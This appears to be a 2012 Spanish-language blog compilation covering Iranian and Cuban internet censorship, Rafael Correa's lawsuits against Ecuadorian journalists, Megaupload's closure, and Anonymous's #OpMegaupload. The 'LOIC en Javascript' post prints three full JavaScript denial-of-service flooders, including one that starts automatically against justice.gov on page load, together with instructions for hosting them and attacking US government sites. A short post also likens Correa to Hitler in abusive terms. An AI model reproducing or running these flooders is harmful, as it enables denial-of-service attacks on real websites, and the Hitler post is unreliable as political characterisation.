El régimen de Mahmud Ahmadinejad como forma de controlar a los iraníes, de poder vulnerar su privacidad y comunicaciones, de interferir en el uso de las redes sociales, ha creado su propia Internet, y los ciudadanos estarán obligados a usarla. Una idea que surgió en el año 2005 para mantener el aislamiento, por considerarse enemigas las costumbres y el pensamiento occidental. Imponer la censura a como de lugar. Y en lo adelante, Internet nacional de Irán será una verdadera “halal red”, dirigida a los musulmanes a nivel ético y moral (Halal significa cumplir con la ley islámica). Es más están ya en marcha las severas restricciones en los cibercafés. Lo último que se ha podido conocer aparte de lo mencionado en otras reseñas también anexas, es lo que dice la website de GV Advocacy, un proyecto de Global Voices para defender la lucha de la libertad de expresion contra la censura en linea:

El régimen iraní puede estar perdiendo su batalla para filtrar el contenido en internet, pero mientras tanto está probando cosas nuevas -desde reducir la velocidad de la red, hasta desarrollar una supuesta “internet nacional” o “internet limpia” (léase Intranet). Los miembros iraníes del parlamento también han discutido una propuesta para ubicar a los blogs, comentarios y mensajes SMS bajo la misma regulación gubernamental que los medios masivos”.

Ahora bien, vale destacar que desde el 2009 cuando las protestas, se intensificó en el país persa la represión online, como forma de impedir que se pudiera mostrar al mundo los crímenes y atropellos que las autoridades llevaron a cabo contra el pueblo iraní.

Intranet revolucionaria y Facebook cubano (Cuba)

Por cierto, Cuba también tiene este sistema de dos Internets; uno es para poder conectarse al exterior derecho que tienen los turistas y funcionarios del gobierno, y el otro, de sistema de red cerrada y “vigilada”, con acceso limitado, para el público común. Los nuevos lineamientos refieren la intervención y serias restricciones de los cibercafés.

Desde el pasado viernes día 2 de diciembre, Cuba cuenta con una red social por intranet, a la que solo pueden acceder los habitantes de la isla y que se llama Redsocial, una especie de Facebook.

Las similitudes de diseño son palpables. Por ejemplo, los datos a rellenar para el registro o la imagen de la página de log in son muy similares a los de Facebook. En la imagen de la red de Zuckerberg aparece un mapamundo, en la de Redsocial únicamente la isla de Cuba. Y mientras el logo de Facebook es azul, el de la red social cubana es de color negro.

La conexión a Redsocial se llevará a cabo por intranet, una suerte de internet nacional cuyos contenidos están limitados, pudiendo acceder a páginas aprobadas por el Gobierno pero no aquellas contrarias a él, por ejemplo, las de corte anticastrista.

Fuentes:

1.- Martha Colmenares | Una Frankenstein virtual: la Internet iraní
2.- Intereconomía | Cuba pone en marcha su propia red social por intranet
3.- El Nuevo Herald | El Gobierno crea un ’Facebook cubano’ e impide el acceso desde el exterior

La UE espera resultado de sentencia sobre el diario "El Universo"

2012-02-01T12:50:00.005-05:00

La Unión Europea está siguiendo de cerca el caso del diario "El Universo" acusado de injurias por el presidente de la República, Rafael Correa, y esperará la decisión de la Corte Nacional de Justicia antes de estudiar qué acciones tomar, dijo hoy la jefa de la diplomacia de la UE, Catherine Ashton.

Los tres directivos del rotativo y su ex editorialista, Emilio Palacio, se enfrentan a tres años de cárcel y a una multa de 40 millones de dólares, debido a la demanda por injurias planteada por Correa.

"Los hechos detrás de este caso son causa de preocupación", ya que se refieren "a la libertad de expresión", afirmó Ashton ante el pleno del Parlamento Europeo en respuesta a una pregunta del eurodiputado español José Ignacio Salafranca (PPE).

En todo caso, la británica pidió esperar a la decisión de la Corte de Justicia (suprema) de Ecuador, y dijo que se esperan "los mayores estándares judiciales" en este proceso.

Si esa corte rechaza el veredicto de dos tribunales inferiores y falla a favor de la apelación del diario, "se habrá alcanzado una solución por la vía del proceso judicial", pero en caso contrario hay "obligaciones" en el acuerdo bilateral UE-Ecuador "y habrÍa que ver qué acción tomamos", indicó.

El acuerdo bilateral de cooperación incluye el respeto a las libertades fundamentales, incluyendo la libertad de expresión, en el país andino, recordó Salafranca.

El caso se inició a raíz de una columna publicada por El Universo en febrero del año pasado, en la que se afirmaba que un futuro presidente podría enjuiciar al mandatario ecuatoriano por haber ordenado disparar "a discreción" contra un hospital.

El mandatario se había refugiado allí durante una sublevación policial el 30 de septiembre de 2010 y fue sacado en medio de un tiroteo. Ese día murieron 5 personas en Quito, algunas de ellas durante la acción de rescate. (EFE)

Fuente:

Diario Hoy | La UE espera a resultado de sentencia sobre el diario 'El Universo'

Periodistas alertan de posible sentencia | Libro Gran Hermano

2012-02-01T12:04:00.002-05:00

La jueza 5º de lo Civil de Pichincha, María de Lourdes Portilla, emitió el lunes autos de sentencia que anuncian la proximidad de un dictamen final en el caso de Juan Carlos Calderón y Christian Zurita, autores del libro El Gran Hermano, quienes fueron demandados por daño moral por el presidente Rafael Correa. El mandatario pide $ 10 millones por sentirse afectado por el contenido del libro, que trata sobre contratos del Estado con empresas vinculadas a Fabricio Correa, hermano del jefe de Estado.

Ramiro Aguilar, abogado defensor de los periodistas, dijo que la jueza notificó de esos autos en una providencia remitida el lunes. Ese documento en definitiva indica que va a dictar sentencia, explicó.

Como paso previo al dictamen final se revisa todo el caso. “Supongo que la sentencia la dictará entre finales de esta semana y la próxima”, dijo Aguilar, al tiempo de aclarar que la jueza no tiene plazo para emitir ese fallo, pero, sugirió, “tal vez tengan apuro por dictarlo”.

Zurita comentó que esa resolución ya se esperaba porque luego de tomados los testimonios del presidente y concluidas las pruebas y peritajes solo restaba esa fase.

Entre las pruebas solicitadas por la defensa de los periodistas están la historia clínica del presidente Correa y la de sus familiares para que demuestren si –como plantea la demanda– padecieron angustia, ansiedad y sufrimiento físico por la publicación del libro.

El 28 de noviembre del año pasado, Correa rindió también un juramento deferido (una figura que consta en el Código de Procedimiento Civil y consiste en una declaración juramentada que hace una de las partes, a pedido de la otra).

En este caso, la diligencia la solicitó el propio jefe de Estado y la hizo él mismo.

Zurita estima que hasta el miércoles de la próxima semana podría salir la sentencia, en los mismos días en que está previsto que se realice la audiencia de casación del caso EL UNIVERSO, en el que el demandante también es el primer mandatario Rafael Correa.

El 28 de febrero, el presidente Rafael Correa demanda a los periodistas Juan Carlos Calderón y Christian Zurita, autores del libro El Gran Hermano, por $ 5 millones a cada uno, con el argumento de que la publicación le causa daño moral. El libro cuenta cómo las empresas vinculadas al hermano del presidente, Fabricio Correa, obtuvieron contratos millonarios con el Estado. Rafael Correa planteó el juicio a título personal, porque esto le causó agravio en sus relaciones personales, familiares y laborales, a nivel nacional e internacional, pues en el texto –basado en declaraciones de Fabricio– se afirma que él supo de estos contratos. Los periodistas contrademandan a Rafael Correa, también por daño moral, por $ 400 mil.

El mandatario dice que todo quedará en el olvido ‘si los periodistas aceptan que mintieron’. Ellos responden que no pueden disculparse por decir la verdad. El presidente rinde el 28 de noviembre su juramento deferido ante la jueza María Portilla. Los autores también son demandados por $ 500 mil por la ministra María de los Ángeles Duarte, quien dice sentirse aludida por un pie de foto publicado en el libro.

Fuente:

EL UNIVERSO | Periodistas alertan de posible sentencia

Rafael "HITLER" Correa

2012-01-30T14:42:00.005-05:00

Monstruosos, dementes y asesinos seriales, tiranos sedientos de sangre y poder, exigen humillación total de sus seguidores mientras censuran y encarcelan a sus enemigos políticos, Adolfo Hitler y Rafael Correa, dos gotas de agua...

Megaupload planeaba sitio de música que marginaba discográficas

2012-01-25T11:47:00.007-05:00

Megaupload quería convertirse en algo más que un servicio para compartir archivos. El servicio creado por Kim Schmitz, conocido como Kim 'Dotcom', planeaba crear un nuevo servicio de descarga de música que habría conectado directamente al usuario con el artista, eliminando la necesidad de discográficas como intermediarias.

El servicio de descargas directas cerrado por el FBI iba a estrenar un servicio que "haría temblar los cimientos de la industria musical".

El pasado viernes 'Dotcom' junto con otras tres personas fue detenido, acusado de diseñar una red de copia y reproducción ilegal de archivos sujetos a derechos de autor. Con esta actividad, presuntamente habría ganado más de 135 millones de euros en apenas unos años. La operación, además, tuvo otra consecuencia de sobra conocida: Megaupload -servicio fundado por 'Dotcom'- fue cerrado.

Cinco días después de la detención de Kim 'Dotcom' por el FBI no dejan de trascender datos sobre la detención, su nivel de vida, las acciones de este servicio online y los proyectos que 'Dotcom' tenía para Megaupload. A través de un foro de debate en reddit.com donde los usuarios opinan sobre cuál ha sido la verdadera razón del cierre de Megaupload, un usuario ha recordado uno de los últimos proyectos en los que trabaja 'Dotcom' en los últimos meses.

Se trata de Megabox, un modelo de negocio por el que se ofrece a los usuarios la venta de música, e incluso películas en el futuro, y en la que los artistas saldrían ganando. Este modelo de negocio prescinde de intermediarios, es decir, de todos los agentes de la cadena de distribución, por lo que los artistas percibirían el 90 por ciento de los ingresos y Megaupload el 10 por ciento restante.

Sobre el proyecto de Megabox habló 'Dotcom' el pasado mes de diciembre con el portal TorrentFreak (link), tras la polémica del vídeo de apoyo a la plataforma Megaupload por parte de artistas como Alicia Keys o Puff Daddy. El jefe de Megaupload asegura que este proyecto estaría financiado por publicidad, llamado Megakey, y que se convertiría en el verdadero competidor de iTunes.

En el video se puede apreciar a cantantes como Alicia Keys, Puff Daddy, Will.I.Am, Snoop Dogg, Estelle, Chris Brown, Kanye West, Lil John y celebridades como Jamie Foxx o la tenista Serena Williams.

'Dotcom' aseguró que se trataba de un servicio que "podría convertirse en uno de los mayores clientes de la industria de contenidos" y que de esta manera se conseguiría el medio para que "se les pague a los creadores de contenido".

Además, durante esta entrevista el fundador de Megaupload aseguraba no estar preocupado por la Ley SOPA y defendía su servicio como "un proveedor de servicio legal online, online desde hace siete años". Un mes después, las cosas han cambiado. Megaupload ya no existe y 'Dotcom' se encuentra en prisión tras ser denegada su libertad bajo fianza por riesgo de fuga.

El video polémico

La noticia explica mejor la aparición en diciembre de un video sobre Megaupload en el que varios artistas manifestaban sus simpatías por el servicio. Universal lo denunció ante el portal de videos de Google que, inicialmente, lo retiró. Megaupload acudió a los tribunales para defender su derecho a ofrecer este video en el que todos los que participaron lo hicieron de forma voluntaria y expresa y en el que no se empleaba música sometida a derechos.

YouTube repuso el video, pero en las alegaciones judiciales de Universal se argumentó que el retiro no se produjo, como dijo la compañía, por vulneración de derechos de autor. Se hizo en función de un convenio suscrito entre Universal y YouTube.

YouTube explicó que repuso el video porque sus socios no pueden retirar contenidos a menos que posean los derechos o se trate de actuaciones en vivo sometidos a derechos exclusivos.

En el video aparecen Alicia Keys, Puff Daddy, Will.I.Am, Snoop Dogg, Chris Brown, Kanye West, Lil John y celebridades como Jamie Foxx o la tenista Serena Williams:

Megaupload, a por la industria musical

El principal motivo de que la Policía haya centrado su operación contra Megaupload es que la compañía tenía previsto iniciar un programa de pagos a los artistas cuyas obras fueran las más descargadas en la web, de modo que Megaupload se convertía así en una "tienda de música", una especie de iTunes.

El servicio de música, que recibía el nombre de MegaBox, y la herramienta de remuneración para los artistas, MegaKey, podían hacer diana en el mismo corazón de la industria musical. Presentada en diciembre por el fundador de Megaupload, Kim Schmitz, iba a tratarse de una plataforma de música basada íntegramente en la nube y ofrecería a los artistas una oportunidad para conseguir ingresos sin contar con una discográfica.

"Universal Music sabe que vamos a competir con ellos a través de nuestra propia compañía de música llamada Megabox, un sitio que pronto permitirá a los artistas vender sus creaciones directamente al consumidor, permitiendo que los artistas se lleven un 90% de las ganancias", aseguraba Kim Schmitz en una entrevista en la web TorrentFreak en diciembre pasado, tras recibir el apoyo de numerosos artistas que promocionaban el uso de Megaupload en un vídeo.

Pero no sólo querían abrir una tienda de venta de canciones y abonar a los artistas ese 90% de los ingresos, además tenían pensado pagar a los artistas por las canciones que subieran a la plataforma para su descarga gratuita.

"Tenemos una solución llamada Megakey que permitirá a los artistas obtener ingresos de los usuarios que descargan música de forma gratuita", aseguraba Dotcom. "Sí, es cierto, vamos a pagar a los artistas, incluso por las descargas gratuitas".

Schmitz argumentaba entonces que la industria musical se había dado cuenta del potencial de Megaupload y en lugar de pensar en alternativas "se centraron en que se nos detuviera a toda costa". "El próximo año, mediante Megabox llegaremos a acuerdos exclusivos con numerosos artistas que desean alejarse de modelos de negocio obsoletos", sentenciaba. Una afirmación que, al menos, habrá inquietado a las discográficas tradicionales.

Fuente:

1.- Público | Megaupload planeaba pagar a los artistas y abrir una tienda musical
2.- Europa Press | Megaupload planeaba un servicio de música que hiciese innecesarias las discográficas
3.- BBC Mundo | Megaupload "planeaba servicio comercial de música" que pagara a los artistas

LOIC en Javascript | World War Web | #OpMegaupload

2012-01-23T13:57:00.024-05:00

Tras el cierre de Megaupload se han registrado varios ataques de denegación de servicio (DDoS) contra páginas oficiales de Estados Unidos y diversas empresas. Se ha descubierto que Anonymous, promotor de parte de esos ataques, ha simplificado el proceso para participar en los mismos. Ya no es necesario instalar un programa, basta con acceder a un enlace.

En seguridad informática, un ataque de denegación de servicio, también llamado ataque DoS (de las siglas en inglés Denial of Service), es un ataque a un sistema de computadoras o red que causa que un servicio o recurso sea inaccesible a los usuarios legítimos. Normalmente provoca la pérdida de la conectividad de la red por el consumo del ancho de banda de la red de la víctima o sobrecarga de los recursos computacionales del sistema de la víctima. Se genera mediante la saturación de los puertos con flujo de información, haciendo que el servidor se sobrecargue y no pueda seguir prestando servicios, por eso se le denomina "denegación", pues hace que el servidor no dé abasto a la cantidad de solicitudes. Esta técnica es usada por los llamados Crackers para dejar fuera de servicio a servidores objetivo, (Ataque de denegación de servicio).

El cierre de Megaupload y la detención de parte de sus responsables han generado una reacción generalizada en Internet. Uno de los colectivos que más se ha movilizado ha sido Anonymous. El grupo de hacktivistas ha considerado la actuación del FBI y de la justicia de Estados Unidos como un ataque a la libertad de expresión en Internet. Por ello, ha estado organizando ataques DDoS contra distintas webs oficiales, que han conseguido dejar las páginas fuera de servicio.

No es la primera vez que Anonymous promueve este tipo de ataques. Hasta ahora, para coordinar los ataques DDoS Anonymous recomendaba la instalación de un software, bautizado como LOIC, que permitía a los usuarios participar en la saturación de las webs objeto de las operaciones. De esta forma, los usuarios tenían que introducir los datos del destino de los ataques y aceptar el inicio para participar.

Sin embargo, en los últimos ataques registrados con motivo de las protestas contra Megaupload, se han encontrado cambios en la forma de organizar la ofensiva DDoS. Se han localizado enlaces que directamente hacen que los equipos de los usuarios participen en los ataques.

Con este nuevo sistema, los usuarios solo tienen que hacer clic en el enlace facilitado por Anonymous para participar en el envío de peticiones a un servidor para que se sature. De esta forma, el proceso se simplifica ya que los usuarios no tienen que instalar ningún software adicional para participar.

LOIC en Javascript (activación automática)

Solo copia el siguiente código en algún editor online de HTML tipo: htmledit.squarefree.com, o usa un hosting anónimo tipo: pastehtml.com lo pegas donde dice: "Paste your HTML code or plain text", luego aplastas el botón que dice: "publish page" y listo... tienes tu propio link del LOIC para realizar un ataque de denegación de servicio o DDOS al estilo anonymous a la página del departamento de justicia norteamericano y al FBI:

<html> <head> <style> .Estilo1 { color: #000000; font-weight: bold; font-size: 18px; } .Estilo2 {color: #FF0000;} .Estilo3 {color: #66FF00;} .Estilo4 {color: #00FFFF;} .Estilo6 {color: #FFFFFF; font-weight: bold;} h1 {color:#FFF;} .vids { height: 765px; width: 640px; overflow: hidden; margin-left:auto; margin-right:auto; } .embeds { width: 640px; } --> </style> </head> <body background="http://3.bp.blogspot.com/-Uk35-cOSOmA/Tx7TLga45OI/AAAAAAAABhM/VXVVl37IPnA/s1600/i1wawz.jpg"> <div class="centrado"> <div style="width:1100px; overflow:hidden; padding-top:4px; float:left"> <div id="loic" style="z-index:10; width:1100px; margin-bottom:20px; height:770px;"> <div style="margin-left:auto; margin-right:auto"> <h1>Anonymous #OpMegaupload /> Deja esta web abierta<br /></h1> <p><div style="position: relative; width: 752px; height: 100%; left: -177px; top: 11px;"> <div style="width: 490px; height: 331px; position: absolute; left: 186px; top: -15px;"> <img alt="LOIC" src="http://3.bp.blogspot.com/-o_v4GStDKpQ/Tx7TLhxspbI/AAAAAAAABhE/j5l2ysX6abo/s1600/2i7mxcj.png" width="979" height="482"></div> <div style="width: 323px; height: 73px; position: absolute; left: 427px; top: -1px;"> <fieldset style="width: 100%; height: 100%;"> <legend>Step 1. Selecciona Target: </legend> <label>URL: <br> <input name="xD" id="targetURL" style="width: 100%;" value="http://www.justice.gov"> </button> </label> <legend></legend> </fieldset> </div> <div style="width: 240px; height: 100px; position: absolute; left: 876px; top: -8px;"> <fieldset style="width: 100%; height: 100%;"> <legend>Step 2. Listo?</legend> <button id="fireButton" style="background-color:#FF9900; border-color: rgb(255, 255, 255); color: rgb(255, 255, 255); width: 240px; height: 70px;"> Dejar de Disparar! </button> </fieldset> </div> <div style="width: 685px; height: 140px; position: absolute; left: 404px; top: 110px;"> <fieldset style="width: 100%; height: 100%;"> <legend>Opcional. Opciones De Ataque? </legend> <label><span id="result_box"><span title="Requests per second">Solicitudes por segundo</span></span>: <input style="width: 40px;" id="rps" value="1000"></label> <p> </p> <label>Mensaje:<br> <input id="message" style="width: 100%;" value="Somos legión!"> </label> </fieldset> <div style="width: 676px; height: 163px; position: absolute; left: 0px; top: 167px;"> <fieldset style="width: 100%; height: 100%;"> <legend>Attack status:</legend> <dl> <dt>Solicitudes:</dt> <dd class="Estilo4" id="requestedCtr">0</dd> <dt>Logros:</dt> <dd class="Estilo3" id="succeededCtr">0</dd> <dt>Fallidos:</dt> <dd class="Estilo2" id="failedCtr">0</dd> </dl> </fieldset> </div> </div> </div> <script> (function () { var fireInterval; var isFiring = false; var currentTime = new Date() var lastSuccess = currentTime.getTime(); var requestedCtrNode = document.getElementById("requestedCtr"), succeededCtrNode = document.getElementById("succeededCtr"), failedCtrNode = document.getElementById("failedCtr"), targetURLNode = document.getElementById("targetURL"), fireButton = document.getElementById("fireButton"), messageNode = document.getElementById("message"), rpsNode = document.getElementById("rps"), timeoutNode = document.getElementById("timeout"); var targetURL = targetURLNode.value; targetURLNode.onchange = function () { targetURL = this.value; }; var requestsHT = {}; // requests hash table, may come in handy later var requestedCtr = 0, succeededCtr = 0, failedCtr = 0; var makeHttpRequest = function () { if ( (currentTime.getTime()-lastSuccess) > 10000) { //Allow no more than 10000 hung requests return; } else { lastSuccess = currentTime.getTime();}; var rID =Number(new Date()); var img = new Image(); img.onerror = function () { onFail(rID); }; img.onabort = function () { onFail(rID); }; img.onload = function () { onSuccess(rID); }; // TODO: it may never happen if target URL is not an image... // but probably can be fixed with different methods img.setAttribute("src", targetURL + "?id=" + rID + "&msg=" + messageNode.value); requestsHT[rID] = img; onRequest(rID); }; var onRequest = function (rID) { requestedCtr++; requestedCtrNode.innerHTML = requestedCtr; }; var onComplete = function (rID) { delete requestsHT[rID]; }; var onFail = function (rID) { // failedCtr++; //failedCtrNode.innerHTML = failedCtr; succeededCtr++; //Seems like the url will always fail it it isn't an image succeededCtrNode.innerHTML = succeededCtr; delete requestsHT[rID]; // we can't keep it forever or it would blow up the browser }; var onSuccess = function (rID) { succeededCtr++; succeededCtrNode.innerHTML = succeededCtr; delete requestsHT[rID]; }; fireButton.onclick = function () { if (isFiring) { clearInterval(fireInterval); isFiring = false; this.innerHTML = "Disparar Otra Vez!"; } else { isFiring = true; this.innerHTML = "Dejar de Disparar!"; fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(rpsNode.value) | 0)); } }; function FireIbero() { if (isFiring) { clearInterval(fireInterval); isFiring = false; this.innerHTML = "Disparar Otra Vez!"; } else { isFiring = true; this.innerHTML = "Stop flooding"; fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(rpsNode.value) | 0)); } }; //Cambiar Target y descomentar la funcion FireIbero(); document.getElementById("targetURL").value = "http://www.justice.gov"; FireIbero(); })(); </script> </div> </div> </div> </div> <script> alert("#OpMegaupload target: http://www.justice.gov </script> </body> </html>

Imágenes para reemplazar (por si acaso)

LOIC en javascript para teléfonos móviles

<html><head></head><body style='background: black; margin: 0;'><table height='100%' width='100%' cellspacing='0' cellpadding='0'><tbody><tr><td align='center' valign='middle'> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Mobile LOIC</title> <meta name="viewport" content="width=device-width; initial-scale=1.0; maximum-scale=1.0;"> <style type="text/css"> html, body, form, fieldset, p, div, h1, h2, h3, h4, h5, h6 { margin: 0; padding: 0; -webkit-text-size-adjust: none; } body { background: #d7d7d7; color: #000000; font-family: Helvetica; font-size: 16px; } a:link, a:hover, a:active, a:visited { text-decoration: none; color: #578aad; } input { width: 250px; height: 30px; font-size: 20px; font-weight: bold; } button { width: 250px; height: 60px; font-size: 20px; font-weight: bold; } h1 { background: #d7d7d7; color: #000000; font-size: 45px; font-weight: bold; } #container { padding-top: 20px; overflow: auto; text-align: center; } #section { background: #cbc9c9; margin: 10px; padding: 10px; border-radius: 10px; -moz-border-radius: 10px; -webkit-border-radius: 10px; } .title { color: #000000; font-size: 16px; font-weight: bold; font-style: italic; padding-bottom: 5px; } .required { color: #d74646; font-size: 25px; font-weight: bold; font-style: italic; } .success { color: #8cbc26; font-size: 16px; font-weight: bold; font-style: italic; padding-bottom: 5px; } .failed { color: #d74646; font-size: 16px; font-weight: bold; font-style: italic; padding-bottom: 5px; } .number { color: #363635; font-family: Helvetica; font-size: 40px; font-weight: bold; padding-bottom: 5px; } #footer { color: #363635; font-size: 12px; font-style: italic; margin-bottom: 10px; } </style> </head> <body> <div id="container"> <h1>Mobile LOIC</h1> <div id="section"> <div class="title">Objetivo URL (target)<span class="required">*</span></div> <input type="text" id="targetURL" value="" /> </div> <div id="section"> <div class="title">Peticiones por segundo</div> <input type="text" id="rps" value="1000" style="" /> </div> <div id="section"> <div class="title">Mensaje</div> <input type="text" id="message" style="" /> </div> <div id="section"> <button id="fireButton" style="">DISPARAR LASER</button> </div> <div id="section"> <div class="title">Peticiones realizadas</div> <div class="number" id="requestedCtr">0</div> <div class="success">Exitosas</div> <div class="number" id="succeededCtr">0</div> <div class="failed">Fallidas</div> <div class="number" id="failedCtr">0</div> </div> <div id="footer">Desarrollado por: <a href="http://www.laplegariadeunpagano.com/" target="_blank">LA PLEGARIA DE UN PAGANO</a></div> </div> <script> (function () { var fireInterval; var isFiring = false; var requestedCtrNode = document.getElementById("requestedCtr"), succeededCtrNode = document.getElementById("succeededCtr"), failedCtrNode = document.getElementById("failedCtr"), targetURLNode = document.getElementById("targetURL"), fireButton = document.getElementById("fireButton"), messageNode = document.getElementById("message"), rpsNode = document.getElementById("rps"), timeoutNode = document.getElementById("timeout"); var targetURL = targetURLNode.value; targetURLNode.onchange = function () { targetURL = this.value; }; var requestsHT = {}; // requests hash table, may come in handy later var requestedCtr = 0, succeededCtr = 0, failedCtr = 0; var makeHttpRequest = function () { if (requestedCtr > failedCtr + succeededCtr + 10000) { //Allow no more than 10000 hung requests return; }; var rID =Number(new Date()); var img = new Image(); img.onerror = function () { onFail(rID); }; img.onabort = function () { onFail(rID); }; img.onload = function () { onSuccess(rID); }; // TODO: it may never happen if target URL is not an image... // but probably can be fixed with different methods img.setAttribute("src", targetURL + "?id=" + rID + "&msg=" + messageNode.value); requestsHT[rID] = img; onRequest(rID); }; var onRequest = function (rID) { requestedCtr++; requestedCtrNode.innerHTML = requestedCtr; }; var onComplete = function (rID) { delete requestsHT[rID]; }; var onFail = function (rID) { // failedCtr++; //failedCtrNode.innerHTML = failedCtr; succeededCtr++; //Seems like the url will always fail it it isn't an image succeededCtrNode.innerHTML = succeededCtr; delete requestsHT[rID]; // we can't keep it forever or it would blow up the browser }; var onSuccess = function (rID) { succeededCtr++; succeededCtrNode.innerHTML = succeededCtr; delete requestsHT[rID]; }; fireButton.onclick = function () { if (isFiring) { clearInterval(fireInterval); isFiring = false; this.innerHTML = "DISPARAR LASER"; } else { isFiring = true; this.innerHTML = "DEJAR DE DISPARAR"; fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(rpsNode.value) | 0)); } }; })(); </script> </body> </html> </td></tr></tbody></table></body></html>

LOIC genérico, manual, en javascript

<!DOCTYPE HTML> <html> <head> <title>JS LOIC v0.1 PORTABLE</title> </head> <body style="background-color:#0A171F; color:#FFFFFF;"> <h1><abbr title="JavaScript">JS</abbr> <abbr title="Low Orbit Ion Cannon">JAVASCRIPIT LOIC PORTABLE</abbr></h1> <h2 style="font-size:15px;">No necesitas descargar ni instalar nada, solo aplasta el botón, siéntate y disfruta del show.</h2> <div style="position:absolute; width:100%; height:100%; left: 9px; top: 99px;"> <div style="width:240px; height:100px; position:absolute;left:0px;"> <fieldset style="width:100%; height:100%;"> <legend>Paso 1. Selecciona tu objetivo:</legend> <label>URL: <br /> <input id="targetURL" style="width:100%;" /></label> <small>Objetivo actual: <a href="https://twitter.com/#!/search/%23LOIC" target="_blank" style="color:#FFF;">Buscar en Twitter</a></small> </fieldset> </div> <div style="width:240px; height:100px; position:absolute; left:300px;"> <fieldset style="width:100%; height:100%;"> <legend>Paso 2. Listo?</legend> <button id="fireButton" style="background-color:#336494; border-color:#FFF; color:#FFF; width:240px; height:70px;">DISPARAR LASER</button> </fieldset> </div> <div style="width:240px; height:160px; position:absolute; left:0px; top:150px;"> <fieldset style="width:100%; height:100%;"> <legend>Opcional:</legend> <label>Peticiones por segundo: <input style="width:40px;" id="rps" value="1000" /></label><br /> <label>Mensage: <br /><input style="width:100%;" id="message" value="" /></label> </fieldset> </div> <div style="width:240px; height:160px; position:absolute; left:300px; top:150px;"> <fieldset style="width:100%; height:100%;"> <legend>Estatus del ataque:</legend> <dl> <dt>Peticiones:</dt> <dd id="requestedCtr">0</dd> <dt style="opacity: 0.5">Exitosos:</dt> <dd style="opacity: 0.5" id="succeededCtr">0</dd> <dt style="opacity: 0.5">Fallidos:</dt> <dd style="opacity: 0.5" id="failedCtr">0</dd> </dl> </fieldset> </div> <div style="width:840px; height:47px; font-size:14px; position:absolute; top:350px;"> Somos anonymous , somos legion, no perdonamos, no olvidamos, esperanos!<br><br> Desarrollado por: <a href="http://www.laplegariadeunpagano.com/" target="_blank">LA PLEGARIA DE UN PAGANO</a> </div> </div> <script> (function () { var fireInterval; var isFiring = false; var requestedCtrNode = document.getElementById("requestedCtr" ) , succeededCtrNode = document.getElementById("succeededCtr" ) , failedCtrNode = document.getElementById("failedCtr" ) , targetURLNode = document.getElementById("targetURL" ) , fireButton = document.getElementById("fireButton" ) , messageNode = document.getElementById("message" ) , rpsNode = document.getElementById("rps" ) , timeoutNode = document.getElementById("timeout" ) ; var targetURL = targetURLNode.value; targetURLNode.onchange = function () { targetURL = this.value; }; var requestsHT = {}; // requests hash table, may come in handy later var requestedCtr = 0, succeededCtr = 0, failedCtr = 0; var makeHttpRequest = function () { if (requestedCtr > failedCtr + succeededCtr + 10000) { //Allow no more than 10000 hung requests return; }; var rID =Number(new Date()); var img = new Image(); img.onerror = function () { onFail(rID); }; img.onabort = function () { onFail(rID); }; img.onload = function () { onSuccess(rID); }; // TODO: it may never happen if target URL is not an image... // but probably can be fixed with different methods img.setAttribute("src", targetURL + "?id=" + rID + "&msg=" + messageNode.value); requestsHT[rID] = img; onRequest(rID); }; var onRequest = function (rID) { requestedCtr++; requestedCtrNode.innerHTML = requestedCtr; }; var onComplete = function (rID) { delete requestsHT[rID]; }; var onFail = function (rID) { // failedCtr++; //failedCtrNode.innerHTML = failedCtr; succeededCtr++; //Seems like the url will always fail it it isn't an image succeededCtrNode.innerHTML = succeededCtr; delete requestsHT[rID]; // we can't keep it forever or it would blow up the browser }; var onSuccess = function (rID) { succeededCtr++; succeededCtrNode.innerHTML = succeededCtr; delete requestsHT[rID]; }; fireButton.onclick = function () { if (isFiring) { clearInterval(fireInterval); isFiring = false; this.innerHTML = "DISPARAR LASER"; } else { isFiring = true; this.innerHTML = "PARAR LASER"; fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(rpsNode.value) | 0)); } }; })(); </script> </body> </html>

#OpMegaupload: la venganza de Anonymous | javascript LOIC

2012-01-23T12:08:00.012-05:00

En lo que algunos han llamado ya segunda ofensiva de la Ciberguerra Mundial (World War Web), Anonymous ha desatado el ataque más rápido y efectivo de su corta existencia. Poco después de saber la detención de varios de los dueños de Megaupload y el bloqueo de sus páginas, el colectivo ciberactivista reunió a sus huestes en las salas de chat y consiguió echar abajo varios sitios de la industria cultural mundial, de las autoridades neozelandesas y de EEUU, incluido la del todopoderoso FBI. Y, avisan, habrá novedades en los próximos días. También han conseguido colar mensajes en webs oficiales, como en el sitio oficial de la Presidencia de Francia, donde según 'Le Monde', ayer aparecieron mensajes como "Somos la Legión" o "Sarkozy, el pueblo te expulsará".

En un colectivo sin una cabeza visible, que se organiza de forma horizontal como la misma internet de donde emergió, sólo bastó que algunos Anonymous dieran el toque a rebato en determinadas salas de chat del IRC (un veterano servicio de comunicación que ofrece relativa discreción) para que cerca de 10.000 personas se pusieran a atacar las páginas señaladas como objetivos.

Los ciberactivistas usan una herramienta informática llamada Low Orbit Ion Cannon (LOIC). Se trata de un programa diseñado para comprobar si un servidor tiene problemas de conectividad. Pero también puede ser usado para hacer miles de peticiones de conexión por segundo a una web. Basta con que unos miles de internautas lo ejecuten a la vez para que esas peticiones se conviertan en millones de intentos de entrar en el sitio. No hay servidor que lo soporte, y menos si se le coge desprevenido, con lo que la página deja de responder. Es lo que se conoce como ataque de denegación de servicio (DoS).

En algunos momentos de la madrugada de ayer, casi 10.000 activistas estaban apuntando a los sitios de la RIAA (la patronal de las discográficas de EEUU), la MPAA (la del cine) o contra el Departamento de Justicia de EEUU y el FBI. Todas cayeron y aunque todas se recuperaron, volvieron a caer. Así estuvieron durante todo el día de ayer. La de la Policía neozelandesa estuvo fuera de combate todo el día.

Las páginas de la industria cultural estadounidense y la de las autoridades de ese país ya estaban entrenadas. Todas han sido atacadas de forma periódica desde hace dos años. Sin embargo, no aguantaron. Esta vez el ataque ha sido más intenso, dirigido y masivo que en pasadas operaciones. A diferencia de lo que sucedió con la operación en defensa de Wikileaks del año pasado o la #OpSinde, en España, donde los objetivos simultáneos no fueron más de cuatro o cinco, esta vez reventaron hasta 18 páginas.

Protesta electrónica

